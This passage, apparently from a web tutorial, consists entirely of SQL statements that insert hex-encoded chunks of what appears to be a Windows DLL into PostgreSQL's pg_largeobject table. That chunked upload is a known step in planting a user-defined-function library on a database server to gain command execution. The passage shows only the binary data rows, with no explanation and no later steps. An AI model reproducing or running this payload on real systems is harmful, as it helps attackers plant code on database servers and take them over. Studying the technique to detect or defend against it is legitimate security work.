000000000740061002d0049004e00000000000000740065002d0049004e000000000000006b006e002d0049004e000000000000006d006c002d0049004e000000000000006d0072002d0049004e00000000000000730061002d0049004e000000000000006d006e002d004d004e00000000000000630079002d004700420000000000000067006c002d00450053000000000000006b006f006b002d0049004e00000000007300790072002d0053005900000000006400690076002d004d00560000000000710075007a002d0042004f00000000006e0073002d005a0041000000000000006d0069002d004e005a00000000000000610072002d0049005100000000000000640065002d004300480000000000000065006e002d0047004200000000000000650073002d004d005800000000000000660072002d0042004500000000000000690074002d00430048000000000000006e006c002d00420045000000000000006e006e002d004e004f00000000000000700074002d0050005400000000000000730072002d00530050002d004c00610074006e0000000000730076002d004600490000000000000061007a002d0041005a002d004300790072006c0000000000730065002d00530045000000000000006d0073002d0042004e0000000000000075007a002d0055005a002d004300790072006c0000000000710075007a002d004500430000000000610072002d00450047000000000000007a0068002d0048004b00000000000000640065002d004100540000000000000065006e002d0041005500000000000000650073002d0045005300000000000000660072002d0043004100000000000000730072002d00530050002d004300790072006c0000000000730065002d0046004900000000000000710075007a002d005000450000000000610072002d004c0059000000000000007a0068002d0053004700000000000000640065002d004c00550000000000000065006e002d0043004100000000000000650073002d0047005400000000000000660072002d0043004800000000000000680072002d004200410000000000000073006d006a002d004e004f0000000000610072002d0044005a000000000000007a0068002d004d004f00000000000000640065002d004c00490000000000000065006e002d004e005a00000000000000650073002d0043005200000000000000660072002d004c005500000000000000620073002d00420041002d004c00610074006e000000000073006d006a002d005300450000000000610072002d004d00410000000000000065006e002d0049004500000000000000650073002d0050004100000000000000660072002d004d004300000000000000730072002d00420041002d004c00610074006e000000000073006d0061002d004e004f0000000000610072002d0054004e0000000000000065006e002d005a004100000000000000650073002d0044004f00000000000000730072002d00420041002d004300790072006c000000000073006d0061002d005300450000000000610072002d004f004d0000000000000065006e002d004a004d00000000000000650073002d005600450000000000000073006d0073002d004600490000000000610072002d005900450000000000000065006e002d004300&#39;</span>,<span class="code-snippet__string">&#39;hex&#39;</span>));</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">insert</span> <span class="code-snippet__keyword">into</span> pg_largeobject <span class="code-snippet__keyword">values</span> (<span class="code-snippet__number">5022</span>, <span class="code-snippet__number">44</span>, <span class="code-snippet__keyword">decode</span>(<span class="code-snippet__string">&#39;4200000000000000650073002d0043004f0000000000000073006d006e002d004600490000000000610072002d005300590000000000000065006e002d0042005a00000000000000650073002d0050004500000000000000610072002d004a004f0000000000000065006e002d0054005400000000000000650073002d0041005200000000000000610072002d004c00420000000000000065006e002d005a005700000000000000650073002d0045004300000000000000610072002d004b00570000000000000065006e002d0050004800000000000000650073002d0043004c00000000000000610072002d0041004500000000000000650073002d0055005900000000000000610072002d0042004800000000000000650073002d0050005900000000000000610072002d0051004100000000000000650073002d0042004f00000000000000650073002d0053005600000000000000650073002d0048004e00000000000000650073002d004e004900000000000000650073002d00500052000000000000007a0068002d0043004800540000000000730072000000000098690180010000004200000000000000e8680180010000002c00000000000000e081018001000000710000000000000080670180010000000000000000000000f081018001000000d8000000000000000082018001000000da000000000000001082018001000000b1000000000000002082018001000000a00000000000000030820180010000008f000000000000004082018001000000cf000000000000005082018001000000d5000000000000006082018001000000d2000000000000007082018001000000a9000000000000008082018001000000b9000000000000009082018001000000c400000000000000a082018001000000dc00000000000000b0820180010000004300000000000000c082018001000000cc00000000000000d082018001000000bf00000000000000e082018001000000c800000000000000d0680180010000002900000000000000f0820180010000009b0000000000000008830180010000006b000000000000009068018001000000210000000000000020830180010000006300000000000000886701800100000001000000000000003083018001000000440000000000000040830180010000007d000000000000005083018001000000b7000000000000009067018001000000020000000000000068830180010000004500000000000000a86701800100000004000000000000007883018001000000470000000000000088830180010000008700000000000000b067018001000000050000000000000098830180010000004800000000000000b8670180010000000600000000000000a883018001000000a200000000000000b8830180010000009100000000000000c8830180010000004900000000000000d883018001000000b300000000000000e883018001000000ab0000000000000090690180010000004100000000000000f8830180010000008b00000000000000c067018001000000070000000000000008840180010000004a00000000000000c86701800100000008000000000000001884018001000000a3000000000000002884018001000000cd000000000000003884018001000000ac000000000000004884018001000000c900000000000000588401800100000092000000000000006884018001000000ba000000000000007884018001000000c5000000000000008884018001000000b4000000000000009884018001000000d600000000000000a884018001000000d000000000000000b8840180010000004b00000000000000c884018001000000c000000000000000d884018001000000d300000000000000d0670180010000000900000000000000e884018001000000d100000000000000f884018001000000dd000000000000000885018001000000d7000000000000001885018001000000ca000000000000002885018001000000b5000000000000003885018001000000c1000000000000004885018001000000d4000000000000005885018001000000a4000000000000006885018001000000ad000000000000007885018001000000df00000000000000888501800100000093000000000000009885018001000000e000000000000000a885018001000000bb00000000000000b885018001000000ce00000000000000c885018001000000e100000000000000d885018001000000db00000000000000e885018001000000de00000000000000f885018001000000d9000000000000000886018001000000c600000000000000a068018001000000230000000000000018860180010000006500000000000000d8680180010000002a0000000000000028860180010000006c00000000000000b868018001000000260000000000000038860180010000006800000000000000d8670180010000000a0000000000000048860180010000004c00000000000000f8680180010000002e0000000000000058860180010000007300000000000000e0670180010000000b00000000000000688601800100000094000000000000007886018001000000a5000000000000008886018001000000ae0000000000000098860180010000004d00000000000000a886018001000000b600000000000000b886018001000000bc0000000000000078690180010000003e00000000000000c886018001000000880000000000000040690180010000003700000000000000d8860180010000007f00000000000000e8670180010000000c00000000000000&#39;</span>,<span class="code-snippet__string">&#39;hex&#39;</span>));</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">insert</span> <span class="code-snippet__keyword">into</span> pg_largeobject <span class="code-snippet__keyword">values</span> (<span class="code-snippet__number">5022</span>, <span class="code-snippet__number">45</span>, <span class="code-snippet__keyword">decode</span>(<span class="code-snippet__string">&#39;e8860180010000004e0000000000000000690180010000002f00000000000000f8860180010000007400000000000000486801800100000018000000000000000887018001000000af0000000000000018870180010000005a00000000000000f0670180010000000d0000000000000028870180010000004f00000000000000c868018001000000280000000000000038870180010000006a0000000000000080680180010000001f0000000000000048870180010000006100000000000000f8670180010000000e000000000000005887018001000000500000000000000000680180010000000f0000000000000068870180010000009500000000000000788701800100000051000000000000000868018001000000100000000000000088870180010000005200000000000000f0680180010000002d000000000000009887018001000000720000000000000010690180010000003100000000000000a887018001000000780000000000000058690180010000003a00000000000000b88701800100000082000000000000001068018001000000110000000000000080690180010000003f00000000000000c8870180010000008900000000000000d887018001000000530000000000000018690180010000003200000000000000e8870180010000007900000000000000b0680180010000002500000000000000f8870180010000006700000000000000a86801800100000024000000000000000888018001000000660000000000000018880180010000008e00000000000000e0680180010000002b0000000000000028880180010000006d000000000000003888018001000000830000000000000070690180010000003d000000000000004888018001000000860000000000000060690180010000003b00000000000000588801800100000084000000000000000869018001000000300000000000000068880180010000009d0000000000000078880180010000007700000000000000888801800100000075000000000000009888018001000000550000000000000018680180010000001200000000000000a8880180010000009600000000000000b8880180010000005400000000000000c888018001000000970000000000000020680180010000001300000000000000d8880180010000008d0000000000000038690180010000003600000000000000e8880180010000007e0000000000000028680180010000001400000000000000f888018001000000560000000000000030680180010000001500000000000000088901800100000057000000000000001889018001000000980000000000000028890180010000008c0000000000000038890180010000009f000000000000004889018001000000a8000000000000003868018001000000160000000000000058890180010000005800000000000000406801800100000017000000000000006889018001000000590000000000000068690180010000003c00000000000000788901800100000085000000000000008889018001000000a70000000000000098890180010000007600000000000000a8890180010000009c0000000000000050680180010000001900000000000000b8890180010000005b0000000000000098680180010000002200000000000000c8890180010000006400000000000000d889018001000000be00000000000000e889018001000000c300000000000000f889018001000000b000000000000000088a018001000000b800000000000000188a018001000000cb00000000000000288a018001000000c70000000000000058680180010000001a00000000000000388a0180010000005c000000000000009873018001000000e300000000000000488a018001000000c200000000000000608a018001000000bd00000000000000788a018001000000a600000000000000908a018001000000990000000000000060680180010000001b00000000000000a88a0180010000009a00000000000000b88a0180010000005d0000000000000020690180010000003300000000000000c88a0180010000007a0000000000000088690180010000004000000000000000d88a0180010000008a0000000000000048690180010000003800000000000000e88a018001000000800000000000000050690180010000003900000000000000f88a018001000000810000000000000068680180010000001c00000000000000088b0180010000005e00000000000000188b0180010000006e0000000000000070680180010000001d00000000000000288b0180010000005f0000000000000030690180010000003500000000000000388b0180010000007c0000000000000088680180010000002000000000000000488b018001000000620000000000000078680180010000001e00000000000000588b018001000000600000000000000028690180010000003400000000000000688b0180010000009e00000000000000808b0180010000007b00000000000000c0680180010000002700000000000000988b0180010000006900000000000000a88b0180010000006f00000000000000b88b0180010000000300000000000000c88b018001000000e200000000000000d88b0180010000009000000000000000e88b018001000000a100000000000000f88b018001000000b200000000000000088c018001000000aa00000000000000188c0180010000004600000000000000288c0180010000007000000000000000610066002d007a006100000000000000610072002d0061006500000000000000&#39;</span>,<span class="code-snippet__string">&#39;hex&#39;</span>));</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">insert</span> <span class="code-snippet__keyword">into</span> pg_largeobject <span class="code-snippet__keyword">values</span> (<span class="code-snippet__number">5022</span>, <span class="code-snippet__number">46</span>, <span class="code-snippet__keyword">decode</span>(<span class="code-snippet__string">&#39;610072002d0062006800000000000000610072002d0064007a00000000000000610072002d0065006700000000000000610072002d0069007100000000000000610072002d006a006f00000000000000610072002d006b007700000000000000610072002d006c006200000000000000610072002d006c007900000000000000610072002d006d006100000000000000610072002d006f006d00000000000000610072002d0071006100000000000000610072002d0073006100000000000000610072002d0073007900000000000000610072002d0074006e00000000000000610072002d007900650000000000000061007a002d0061007a002d006300790072006c000000000061007a002d0061007a002d006c00610074006e0000000000620065002d0062007900000000000000620067002d006200670000000000000062006e002d0069006e00000000000000620073002d00620061002d006c00610074006e0000000000630061002d0065007300000000000000630073002d0063007a00000000000000630079002d0067006200000000000000640061002d0064006b00000000000000640065002d0061007400000000000000640065002d0063006800000000000000640065002d0064006500000000000000640065002d006c006900000000000000640065002d006c0075000000000000006400690076002d006d0076000000000065006c002d006700720000000000000065006e002d006100750000000000000065006e002d0062007a0000000000000065006e002d006300610000000000000065006e002d006300620000000000000065006e002d006700620000000000000065006e002d006900650000000000000065006e002d006a006d0000000000000065006e002d006e007a0000000000000065006e002d007000680000000000000065006e002d007400740000000000000065006e002d007500730000000000000065006e002d007a00610000000000000065006e002d007a007700000000000000650073002d0061007200000000000000650073002d0062006f00000000000000650073002d0063006c00000000000000650073002d0063006f00000000000000650073002d0063007200000000000000650073002d0064006f00000000000000650073002d0065006300000000000000650073002d0065007300000000000000650073002d0067007400000000000000650073002d0068006e00000000000000650073002d006d007800000000000000650073002d006e006900000000000000650073002d0070006100000000000000650073002d0070006500000000000000650073002d0070007200000000000000650073002d0070007900000000000000650073002d0073007600000000000000650073002d0075007900000000000000650073002d0076006500000000000000650074002d0065006500000000000000650075002d0065007300000000000000660061002d0069007200000000000000660069002d006600690000000000000066006f002d0066006f00000000000000660072002d0062006500000000000000660072002d0063006100000000000000660072002d0063006800000000000000660072002d0066007200000000000000660072002d006c007500000000000000660072002d006d00630000000000000067006c002d0065007300000000000000670075002d0069006e00000000000000680065002d0069006c00000000000000680069002d0069006e00000000000000680072002d0062006100000000000000680072002d0068007200000000000000680075002d0068007500000000000000680079002d0061006d00000000000000690064002d0069006400000000000000690073002d0069007300000000000000690074002d0063006800000000000000690074002d00690074000000000000006a0061002d006a0070000000000000006b0061002d00670065000000000000006b006b002d006b007a000000000000006b006e002d0069006e000000000000006b006f006b002d0069006e00000000006b006f002d006b0072000000000000006b0079002d006b0067000000000000006c0074002d006c0074000000000000006c0076002d006c0076000000000000006d0069002d006e007a000000000000006d006b002d006d006b000000000000006d006c002d0069006e000000000000006d006e002d006d006e000000000000006d0072002d0069006e000000000000006d0073002d0062006e000000000000006d0073002d006d0079000000000000006d0074002d006d0074000000000000006e0062002d006e006f000000000000006e006c002d00620065000000000000006e006c002d006e006c000000000000006e006e002d006e006f000000000000006e0073002d007a006100000000000000700061002d0069006e0000000000000070006c002d0070006c00000000000000700074002d0062007200000000000000700074002d0070007400000000000000710075007a002d0062006f0000000000710075007a002d006500630000000000710075007a002d00700065000000000072006f002d0072006f00000000000000720075002d0072007500000000000000730061002d0069006e00000000000000730065002d0066006900000000000000730065002d006e006f00000000000000730065002d007300650000000000000073006b002d0073006b0000000000000073006c002d007300690000000000000073006d0061002d006e006f000000000073006d0061002d00730065000000000073006d006a002d00&#39;</span>,<span class="code-snippet__string">&#39;hex&#39;</span>));</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">insert</span> <span class="code-snippet__keyword">into</span> pg_largeobject <span class="code-snippet__keyword">values</span> (<span class="code-snippet__number">5022</span>, <span class="code-snippet__number">47</span>, <span class="code-snippet__keyword">decode</span>(<span class="code-snippet__string">&#39;6e006f000000000073006d006a002d00730065000000000073006d006e002d00660069000000000073006d0073002d006600690000000000730071002d0061006c00000000000000730072002d00620061002d006300790072006c0000000000730072002d00620061002d006c00610074006e0000000000730072002d00730070002d006300790072006c0000000000730072002d00730070002d006c00610074006e0000000000730076002d0066006900000000000000730076002d0073006500000000000000730077002d006b0065000000000000007300790072002d007300790000000000740061002d0069006e00000000000000740065002d0069006e00000000000000740068002d007400680000000000000074006e002d007a006100000000000000740072002d0074007200000000000000740074002d007200750000000000000075006b002d0075006100000000000000750072002d0070006b0000000000000075007a002d0075007a002d006300790072006c000000000075007a002d0075007a002d006c00610074006e0000000000760069002d0076006e00000000000000780068002d007a0061000000000000007a0068002d00630068007300000000007a0068002d00630068007400000000007a0068002d0063006e000000000000007a0068002d0068006b000000000000007a0068002d006d006f000000000000007a0068002d00730067000000000000007a0068002d00740077000000000000007a0075002d007a0061000000000000000000000000000000000000000000f0ff0000000000000000000000000000f07f0000000000000000000000000000f8ff000000000000000000000000000008000000000000000000ff03000000000000000000000000000001000000000000000000000000000000ffffffffffff0f0000000000000000000000000000f00f000000000000000000000000000008000000000000000000000ee526157bcbdb3f00000000000000000000000078cbdb3f00000000000000003595712837a9a83e0000000000000000000000501344d33f0000000000000000253e62de3fef033e000000000000000000000000000000400000000000000000000000000000f03f0000000000000000000000000000e03f000000000000000000010000000000000000000000000000000000000000603f0000000000000000000000000000e03f0000000000000000555555555555d53f0000000000000000000000000000d03f00000000000000009a9999999999c93f0000000000000000555555555555c53f00000000000000000000000000f88fc00000000000000000fd070000000000000000000000000000000000000000b03f0000000000000000000000000000ee3f0000000000000000000000000000f13f000000000000000000000000000010000000000000000000ffffffffffffff7f0000000000000000e65455555555b53f0000000000000000d4c6ba999999893f00000000000000009f51f1072349623f0000000000000000f0ff5dc834803c3f000000000000000000000000ffffffff00000000000000000100000002000000030000000000000043004f004e004f0055005400240000000000000000000000000000909ebd5b3f00000070d4af6b3f0000006095b9743f000000a076947b3f000000a04d34813f00000050089b843f000000c071fe873f00000080905e8b3f000000f06abb8e3f000000a0830a913f000000e0b5b5923f000000504f5f943f000000005307963f000000d0c3ad973f000000f0a452993f00000020f9f59a3f00000070c3979c3f000000a006389e3f000000b0c5d69f3f000000a001baa03f00000020e187a13f000000c00255a23f000000c06721a33f0000009011eda33f0000008001b8a43f000000e03882a53f00000010b94ba63f000000408314a73f000000c098dca73f000000d0faa3a83f000000c0aa6aa93f000000d0a930aa3f00000020f9f5aa3f000000009abaab3f000000908d7eac3f00000010d541ad3f000000a07104ae3f0000007064c6ae3f000000b0ae87af3f000000c02824b03f000000f02684b03f00000090d2e3b03f000000302c43b13f0000004034a2b13f00000060eb00b23f00000010525fb23f000000e068bdb23f00000050301bb33f000000e0a878b33f00000030d3d5b33f000000a0af32b43f000000d03e8fb43f0000002081ebb43f000000307747b53f0000006021a3b53f0000004080feb53f000000409459b63f000000f05db4b63f000000b0dd0eb73f000000001469b73f0000006001c3b73f00000030a61cb83f000000000376b83f0000003018cfb83f00000040e627b93f000000906d80b93f000000a0aed8b93f000000d0a930ba3f000000a05f88ba3f00000070d0dfba3f000000b0fc36bb3f000000d0e48dbb3f0000003089e4bb3f00000040ea3abc3f000000700891bc3f00000010e4e6bc3f000000a07d3cbd3f00000080d591bd3f00000000ece6bd3f000000a0c13bbe3f000000b05690be3f000000a0abe4be3f000000c0c038bf3f00000080968cbf3f000000302de0bf3f000000a0c219c03f000000704f43c03f00000060bd6cc03f000000800c96c03f000000003dbfc03f000000104fe8c03f000000f04211c13f000000a0183ac13f00000080d062c13f000000906a8bc13f00000010e7b3c13f0000003046dcc13f000000108804c23f000000e0ac2cc23f000000d0b454c23f000000f09f7cc23f000000806ea4c23f000000b020ccc23f00000090b6f3c23f00000050301bc33f000000208e42c33f00000020d069c33f&#39;</span>,<span class="code-snippet__string">&#39;hex&#39;</span>));</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">insert</span> <span class="code-snippet__keyword">into</span> pg_largeobject <span class="code-snippet__keyword">values</span> (<span class="code-snippet__number">5022</span>, <span class="code-snippet__number">48</span>, <span class="code-snippet__keyword">decode</span>(<span class="code-snippet__string">&#39;00000080f690c33f0000006001b8c33f000000e0f0dec33f00000030c505c43f000000707e2cc43f000000d01c53c43f00000070a079c43f0000007009a0c43f0000000058c6c43f000000308cecc43f00000040a612c53f00000030a638c53f000000508c5ec53f000000905884c53f000000400baac53f00000070a4cfc53f0000004024f5c53f000000d08a1ac63f00000050d83fc63f000000d00c65c63f00000080288ac63f000000802bafc63f000000e015d4c63f000000d0e7f8c63f00000070a11dc73f000000e04242c73f00000040cc66c73f000000a03d8bc73f0000003097afc73f00000010d9d3c73f0000005003f8c73f00000020161cc83f000000901140c83f000000c0f563c83f000000e0c287c83f0000000079abc83f0000003018cfc83f000000a0a0f2c83f000000701216c93f000000b06d39c93f00000080b25cc93f00000000e17fc93f00000050f9a2c93f00000070fbc5c93f000000b0e7e8c93f000000f0bd0bca3f000000807e2eca3f000000602951ca3f000000a0be73ca3f000000703e96ca3f000000f0a8b8ca3f00000020fedaca3f000000303efdca3f00000030691fcb3f000000407f41cb3f000000708063cb3f000000f06c85cb3f000000b044a7cb3f000000f007c9cb3f000000c0b6eacb3f00000030510ccc3f00000050d72dcc3f00000050494fcc3f00000040a770cc3f00000030f191cc3f0000004027b3cc3f0000008049d4cc3f0000001058f5cc3f000000005316cd3f000000603a37cd3f000000600e58cd3f00000000cf78cd3f000000707c99cd3f000000a016bacd3f000000d09ddacd3f000000f011fbcd3f00000030731bce3f000000a0c13bce3f00000050fd5bce3f00000060267cce3f000000e03c9cce3f000000e040bcce3f0000008032dcce3f000000d011fcce3f000000e0de1bcf3f000000d0993bcf3f000000a0425bcf3f00000080d97acf3f000000705e9acf3f00000090d1b9cf3f000000f032d9cf3f000000a082f8cf3f00000050e00bd03f000000a0761bd03f00000030042bd03f00000010893ad03f00000040054ad03f000000e07859d03f000000f0e368d03f000000704678d03f00000080a087d03f00000010f296d03f000000303ba6d03f000000f07bb5d03f00000050b4c4d03f00000060e4d3d03f000000300ce3d03f000000c02bf2d03f000000104301d13f000000405210d13f00000040591fd13f00000030582ed13f000000004f3dd13f000000d03d4cd13f000000a0245bd13f00000070036ad13f00000050da78d13f00000040a987d13f000000607096d13f000000a02fa5d13f00000010e7b3d13f000000c096c2d13f000000b03ed1d13f000000f0dedfd13f0000007077eed13f0000006008fdd13f000000a0910bd23f00000050131ad23f000000708d28d23f000000100037d23f000000306b45d23f000000d0ce53d23f000000002b62d23f000000d07f70d23f00000040cd7ed23f00000060138dd23f00000020529bd23f000000a089a9d23f000000e0b9b7d23f000000e0e2c5d23f000000b004d4d23f000000501fe2d23f000000c032f0d23f000000203ffed23f00000070440cd33f000000b0421ad33f000000e03928d33f000000102a36d33f000000501344d33f000000000000000000000000000000008f20b222bc0ab23dd40d2e33690fb13d57d27ee80d95ce3d696d623b44f3d33d573e36a5ea5af43d0bbfe13c6843c43d11a5c660cd89f93d9f2e1f206f62fd3dcdbddab88b4fe93d153042efd888003ead792ba61304083ec4d3eec01797053e0249d4ad774aad3d0e3037f03f760e3ec3f60647d762e13d14bc4d1fcc01063ebfe5f651e0f3ea3debf31a1e0b7a093ec702c07089a3c03d51c75700002e103e0e6ecdee005b153eafb503702986df3d6da336b3b957103e4fea064ac84b133eadbca19eda43163e2aeaf7b4a7661d3eeffcf738e0b2f63d88f070c654e9f33db3ca3a090972043ea75d27e78f701d3ee7b971779edf1f3e60060aa7bf27083e14bc4d1fcc01163e5b5e6a10f637063e4b627cf1136a123e3a6280ceb23e093ede9415e9d130143e31a08f10106b1d3e41f2ba0b9c87163e2bbca65e0108ff3d6c67c6cd3db6293e2cabc4bc2c022b3e4465dd7dd017f93d9e3703576040153e601b7a948bd10c3e7ea97c2765ad173ea95f9fc54d88113e82d00660c411173ef808313c2e092f3e3ae12be3c514173e9a4f73fda7bb263e8384e0b58ff4fd3d950b4dc79b2f233e130c7948e873f93d6e58c608bccc1e3e984a52f9e915213eb831315940172f3e353864258bcf1b3e80ed8b1da85f1f3ee4d929f94d4a243e940c22d82098123e09e30493480b2a3efe65a6ab564d1f3e63513619900c213e362759fe780ff83dca1cc8258852103e6a746d7d5395e03d60060aa7bf27183e3c9345eca8b0063ea9dbf51bf85a103e15d55526fae2173ebfe4aebfec590d3ea33f68da2f8b1d3e37373afdddb8243e0412ae617e82133e9f0fe9497b8c2c3e1d599715f0ea293e367b316ea6aa193e5506720956722e3e54ac7afc331c263e52a261cf2b66293e3027c411c843183e36cb5a0bbb64203ea40127840c340a3ed6798fb5558e1a3e9a9d5e9c212de93d6afd7f0de6633f3e146351d90e9b2e3e0c3562199023293e815e7838886f323eafa6ab4c6a5b3b3e1c768edc6a22f03ded1a3a31d74a3c3e178d737ce864153e18668af1ec8f333e667677f59e923d3eb8a08df03b48393e2658aaee0edd3b3eba370259ddc4393ec7caebe0e9f31a3eac0d278253ce353ebab92a53744f393e548688952734073ef04be30b005a0c3e82d00660c411273e&#39;</span>,<span class="code-snippet__string">&#39;hex&#39;</span>));</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">insert</span> <span class="code-snippet__keyword">into</span> pg_largeobject <span class="code-snippet__keyword">values</span> (<span class="code-snippet__number">5022</span>, <span class="code-snippet__number">49</span>, <span class="code-snippet__keyword">decode</span>(<span class="code-snippet__string">&#39;f88cedb42500253ea0d2f2ce8bd12e3e54750a0c2e28213ecaa75933f3700d3e2540a8137e7f2b3e1e8921c36e30333e50758b03f8c73f3e641dd78c35b03e3e74948522c8763a3ee386de52c60e3d3eaf5886e0cca42f3e9e0ac0d2a2843b3ed15bc2f2b0a5203e99f65b2260d63d3e37f09b850fb1083ee1cb90b523883e3ef6961ef31113363e9a0fa25c871f2e3ea5b9394972952c3ee2583e7a9505383e34039fea26f12f3e09568e59f553393e48c456f86fc1363ef461f20f22cb243ea2533dd520e1353e56f289617f523a3e0f9cd4fffc56383edad728822e0c303ee0df4494d013f13da659ea0e6310253e11d7320f782e263ecff8101ad93eed3d85cd4b7e4a65233e21ad8049785b053e646eb1d42d2f213e0cf539d9adc4373efc8071628417283e6149e1c76251ea3d63513619900c313e8876a12b4d3c373e813de9e0a5e82a3eaf2116f0c6b02a3e665bdd748b1e303e9454bbec6f202d3e00cc4f728bb4f03d29e2610b1f833f3eafbc07c4971af83daab7cb1c6c283e3e930a22490b63283e5c2ca2c1150bff3d46091ce74554353e856d06f830e63b3e396cd9f0df99253e81b08fb185cc363ec8a81e006d47343e1fd3169e883f373e872a790d1057333ef60161ae79d13b3ee2f6c35610a30c3efb089c6270283d3e3f67d28038ba3a3ea67d29cb33362c3e02eaef993884213ee608209dc9cc3b3e50d3bd440500383ee16a6026c2912b3edf2bb626df7a2a3ec96e82c84f76183ef0680fe53d4f1f3ee3957975ca60f73d475180d37e66fc3d6fdf6a19f633373e6b833ef310b72f3e131064ba6e88393e1a8cafd06853fb3d71298d1b698c353efb086d226594fe3d97003f067e58333e189f1202e718363e54ac7afc331c363e4a600884a6073f3e215494e4bf343c3e0b30410ef0b1383e631bd68442433f3e3674395e09633a3ede19b9568642343ea6d9b20192ca363e1c932a3a8238273e3092170e88113c3efe526d8ddc3d313e17e92289d5ee333e50dd6b849259293e8b272e5f4ddb0d3ec435062af1a5f13d343c2c88f042463e5e47f6a79bee2a3ee4604a837f4b263e2e7943e2420d293e014f130820274c3e5bcfd6162e784a3e4866da795c50443e21cd4dead4a94c3ebcd57c623d7d293e13aabcf95cb1203edd76cf63205b313e4827aaf3e683293e94e9fff4644c3f3e0f5ae87cbabe463eb8a64efd699c3b3eaba45f83a56a2b3ed1ed0f79c3cc433ee04f40c44cc0293e9dd8757a4b73403e1216e0c404441b3e9448cec265c5403ecd35d94114c7333e4e3b6b5592a4723d43dc410309fa203ef4d9e309708f2e3e458a048bf61b4b3e56a9fadf52ee3e3ebd65e400096b453e667677f59e924d3e60e23786a26e483ef0a20cf1af65463e74ec48affd112f3ec7d1a4861bbe4c3e6576a8fe5bb0253e1d4a1a0ac2ce413e9f9b400a5fcd413e705026c85636453e60222835d87e373ed2b94030bc17243ef2ef797bef8e403ee957dc396fc74d3e57f40ca793044c3e0ca6a5ced6834a3eba57c50d70d6303e0abde8126cc9443e1523e393192c3d3e42825f1321c7223e7d74da4d3e9a273e2ba741699ff8fc3d3108f102a749213edb75817c4bad4e3e0ae763fe30694e3e2feed9be06e1413e921cf1822b682d3e7ca4db88f1073a3ef672c12d34f9403e253e62de3fef033e0000000000000000000000000000004020e01fe01fe0ff3ff007fc017fc0ff3f12fa01aa1ca1ff3f20f8811ff881ff3fb5dba0ac1063ff3f71424a9e6544ff3fb50a2344f625ff3f081f7cf0c107ff3f028e45f8c7e9fe3fc0ec01b307ccfe3feb01ba7a80aefe3f67b7f0ab3191fe3fe45097a51a74fe3f74e501c93a57fe3f731adc79913afe3f1e1e1e1e1e1efe3f1ee0011ee001fe3f8a86f8e3d6e5fd3fca1da0dc01cafd3fdb81b97660aefd3f8a7f1e23f292fd3f342cb854b677fd3fb2727580ac5cfd3f1dd4411dd441fd3f1a5bfca32c27fd3f74c06e8fb50cfd3fc6bf445c6ef2fc3f0b9b038956d8fc3fe7cb01966dbefc3f91e15e05b3a4fc3f428afb5a268bfc3f1cc7711cc771fc3f86490dd19458fc3ff0f8c3018f3ffc3f1ca02e39b526fc3fe0c08103070efc3f8b8d86ee83f5fb3ff70694892bddfb3f7b3e8865fdc4fb3fd0bac114f9acfb3f23ff182b1e95fb3f8b33da3d6c7dfb3f05eebee3e265fb3f4f1be8b4814efb3fce06d84a4837fb3fd9806c403620fb3fa422d9314b09fb3f28afa1bc86f2fa3f5e90947fe8dbfa3f1b70c51a70c5fa3ffdeb872f1daffa3fbe636a60ef98fa3f59e13051e682fa3f6d1ad0a6016dfa3f4a8a68074157fa3f1aa4411aa441fa3fa01cc5872a2cfa3f024b7af9d316fa3f1aa0011aa001fa3fd93310958eecf93f2d686b179fd7f93f02a1e44ed1c2f93fda1055ea24aef93f9a9999999999f93fffc08e0d2f85f93f72b80cf8e470f93fae77e30bbb5cf93fe0e9d6fcb048f93fe62c9b7fc634f93f29e2d049fb20f93fd59001124f0df93ffa189c8fc1f9f83f3f37f17a52e6f83fd318308d01d3f83f3aff6280cebff83faaf36b0fb9acf83f9c8901f6c099f83f4ab0abf0e586f83fb992c0bc2774f83f188661188661f83f140678c2004ff83fddbeb27a973cf83fa0a482014a2af83f181818181818f83f061860800106f83f407f01fd05f4f73f1d4f5a5125e2f73ff4057d415fd0f73f7c012e92b3bef73fc3ece00822adf73f8b39b66baa9bf73fc8a478814c8af73f0dc69a110879f73fb1a934e4dc67f73f6d7501c2ca56f73f46175d74d145f73f8dfe41c5f034f73fbcde467f2824f73f097c9c6d7813f73f70810b5ce002f73f1760f21660f2f63fc737436bf7e1f63f61c88126a6d1f63f&#39;</span>,<span class="code-snippet__string">&#39;hex&#39;</span>));</span></code><code><span class="code-snippet_outer"><br/></span></code><code><span class="code-snippet_outer"><span class="code-snippet__keyword">insert</span> <span class="code-snippet__keyword">into</span> pg_largeobject <span class="code-snippet__keyword">values</span> (<span class="code-snippet__number">5022</span>, <span class="code-snippet__number">50</span>, <span class="code-snippet__keyword">decode</span>(<span class="code-snippet__string">&#39;176cc1166cc1f63f3d1aa30a49b1f63f907253d13ca1f63fc0d0883a4791f63f176881166881f63f1a6701369f71f63ff922516aec61f63fa34a3b854f52f63f64210b59c842f63fdec08ab85633f63f40620177fa23f63f94ae3168b314f63f061658608105f63ffc2d293464f6f53fe715d0b85be7f53fa5e2ecc367d8f53f5710932b88c9f53f91fa47c6bcbaf53fc05a016b05acf53faacc23f1619df53fed588130d28ef53f600558015680f53f3a6b503ced71f53fe2527cba9763f53f555555555555f53ffe82bbe62547f53feb0ff4480939f53f4b05a856ff2af53f15f8e2ea071df53fc5c411e1220ff53f155001155001f53f9b4cdd628ff3f43f39052fa7e0e5f43f4c2cdcbe43d8f43f6eaf2587b8caf43fe18fa6dd3ebdf43f5bbf52a0d6aff43f4a0176ad7fa2f43f67d0b2e33995f43f804801220588f43f7b14ae47e17af43f66605934ce6df43f9acff5c7cb60f43fca76c7e2d953f43ffbd96265f846f43f4deeab30273af43f871fd525662df43f51595e26b520f43f141414141414f43f66650ed18207f43ffb13b03f01fbf33f07afa5428feef33f02a9e4bc2ce2f33fc675aa91d9d5f33fe7ab7ba495c9f33f552923d960bdf33f143bb1133bb1f33f22c87a3824a5f33f637f182c1c99f33f8e0866d3228df33f143881133881f33fee45c9d15b75f33f4807def38d69f33ff82a9f5fce5df33fc1782bfb1c52f33f4613e0ac7946f33fb2bc575be43af33ffa1d6aed5c2ff33fbf102b4ae323f33fb6ebe9587718f33f90d13001190df33f6002c42ac801f33f